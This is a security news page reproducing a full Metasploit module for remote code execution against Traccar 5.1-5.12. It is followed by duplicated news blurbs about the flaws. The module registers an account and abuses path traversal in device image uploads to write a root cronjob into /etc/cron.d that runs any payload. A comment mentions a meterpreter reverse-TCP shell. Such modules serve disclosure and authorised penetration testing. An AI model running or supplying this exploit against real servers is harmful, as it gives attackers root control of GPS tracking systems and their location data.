Security
Headlines
HeadlinesLatestCVEs

Headline

Traccar 5.12 Remote Code Execution

This Metasploit module exploits a remote code execution vulnerability in Traccar versions 5.1 through 5.12. Remote code execution can be obtained by combining path traversal and an unrestricted file upload vulnerabilities. By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise. This Metasploit module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.

Packet Storm
#vulnerability#web#linux#red_hat#js#git#rce#auth
class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',        'Description' => %q{          Remote Code Execution in Traccar v5.1 - v5.12.          Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).          By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.          This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.        },        'License' => MSF_LICENSE,        'Author' => [          'Michael Heinzl', # MSF Module          'yiliufeng168', # Discovery CVE-2024-24809 and PoC          'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC        ],        'References' => [          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],          [ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],          [ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],          [ 'CVE', '2024-31214'],          [ 'CVE', '2024-24809']        ],        'DisclosureDate' => '2024-08-23',        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_CMD ],        'Targets' => [          [            'Linux Command',            {              'Arch' => [ ARCH_CMD ],              'Platform' => [ 'linux' ],              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp              'Type' => :unix_cmd            }          ]        ],        'Payload' => {          'BadChars' => "\x27" # apostrophe (')        },        'DefaultTarget' => 0,        'DefaultOptions' => {          'WfsDelay' => 75        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [EVENT_DEPENDENT],          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]        }      )    )    register_options(      [        Opt::RPORT(8082),        OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),        OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),        OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),        OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])      ]    )  end  def check    res = send_request_cgi({      'method' => 'GET',      'uri' => normalize_uri(target_uri.path, 'api/server')    })    return CheckCode::Unknown unless res && res.code == 200    data = res.get_json_document    version = data['version']    if version.nil?      return CheckCode::Unknown    else      vprint_status('Version retrieved: ' + version)    end    unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))      return CheckCode::Safe    end    return CheckCode::Appears  end  def exploit    prepare_setup    execute_command(payload.encoded)  end  def prepare_setup    print_status('Registering new user...')    body = {      name: datastore['USERNAME'],      email: datastore['EMAIL'],      password: datastore['PASSWORD'],      totpKey: nil    }.to_json    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'api/users'),      'ctype' => 'application/json',      'data' => body    )    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    auth_status = false    # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error    # to run into when this module is executed more than once without updating the provided email address    if res.code == 400 && res.to_s.include?('Unique index or primary key violation')      print_status('The same E-mail already exists on the system, trying to authenticate with existing password...')      res = send_request_cgi(        'method' => 'POST',        'keep_cookies' => true,        'uri' => normalize_uri(target_uri.path, 'api/session'),        'ctype' => 'application/x-www-form-urlencoded',        'vars_post' => {          'email' => datastore['EMAIL'],          'password' => datastore['PASSWORD']        }      )      unless res        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')      end      json = res.get_json_document      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']        print_status('Provide the correct password for the existing E-Mail address, or provide a new E-Mail address.')        fail_with(Failure::UnexpectedReply, res.to_s)      end      auth_status = true    end    unless res.code == 200      fail_with(Failure::UnexpectedReply, res.to_s)    end    json = res.get_json_document    unless json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)    end    if auth_status == false      print_status('Authenticating...')      res = send_request_cgi(        'method' => 'POST',        'keep_cookies' => true,        'uri' => normalize_uri(target_uri.path, 'api/session'),        'ctype' => 'application/x-www-form-urlencoded',        'vars_post' => {          'email' => datastore['EMAIL'],          'password' => datastore['PASSWORD']        }      )      unless res        fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')      end      json = res.get_json_document      unless res.code == 200 && json['name'] == datastore['USERNAME'] && json['email'] == datastore['EMAIL']        fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)      end    end  end  def execute_command(cmd)    name_v = Rex::Text.rand_text_alphanumeric(16)    unique_id_v = Rex::Text.rand_text_alphanumeric(16)    body = {      name: name_v,      uniqueId: unique_id_v    }.to_json    print_status('Adding new device...')    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, 'api/devices'),      'keep_cookies' => true,      'ctype' => 'application/json',      'data' => body    )    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    json = res.get_json_document    unless res.code == 200 && json['name'] == name_v && json['uniqueId'] == unique_id_v && json.key?('id')      fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)    end    id = json['id'].to_s    body = Rex::Text.rand_text_alphanumeric(1..4)    fn = Rex::Text.rand_text_alpha(1..2)    print_status('Uploading crontab file...')    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),      'keep_cookies' => true,      'ctype' => 'image/png',      'data' => body    )    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    unless res.code == 200 && res.to_s.include?('device.png')      fail_with(Failure::UnexpectedReply, res.to_s)    end    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),      'keep_cookies' => true,      'ctype' => "image/png;#{fn}=\"/b\"",      'data' => body    )    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")      fail_with(Failure::UnexpectedReply, res.to_s)    end    body = "* * * * * root /bin/bash -c '#{cmd}'\n"    cronfn = SecureRandom.hex(12)    res = send_request_cgi(      'method' => 'POST',      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),      'keep_cookies' => true,      'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",      'data' => body    )    register_file_for_cleanup("/etc/cron.d/#{cronfn}\"")    unless res      fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')    end    unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")      fail_with(Failure::UnexpectedReply, res.to_s)    end    vprint_status('Cleanup: Deleting previously added device...')    res = send_request_cgi(      'method' => 'DELETE',      'uri' => normalize_uri(target_uri.path, "api/devices/#{id}"),      'headers' => {        'Connection' => 'close'      }    )    unless res      print_bad('Failed to receive a reply from the server, device removal might have failed.')    end    unless res.code == 204      print_bad('Received unexpected reply, device removal might have failed:\n' + res.to_s)    end    # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early    print_status('Cronjob successfully written - waiting for execution...')  endend

Related news

Critical Flaws in Traccar GPS System Expose Users to Remote Attacks

Two security vulnerabilities have been disclosed in the open-source Traccar GPS tracking system that could be potentially exploited by unauthenticated attackers to achieve remote code execution under certain circumstances. Both the vulnerabilities are path traversal flaws and could be weaponized if guest registration is enabled, which is the default configuration for Traccar 5, Horizon3.ai

Critical Flaws in Traccar GPS System Expose Users to Remote Attacks

Two security vulnerabilities have been disclosed in the open-source Traccar GPS tracking system that could be potentially exploited by unauthenticated attackers to achieve remote code execution under certain circumstances. Both the vulnerabilities are path traversal flaws and could be weaponized if guest registration is enabled, which is the default configuration for Traccar 5, Horizon3.ai

Packet Storm: Latest News

CUPS IPP Attributes LAN Remote Code Execution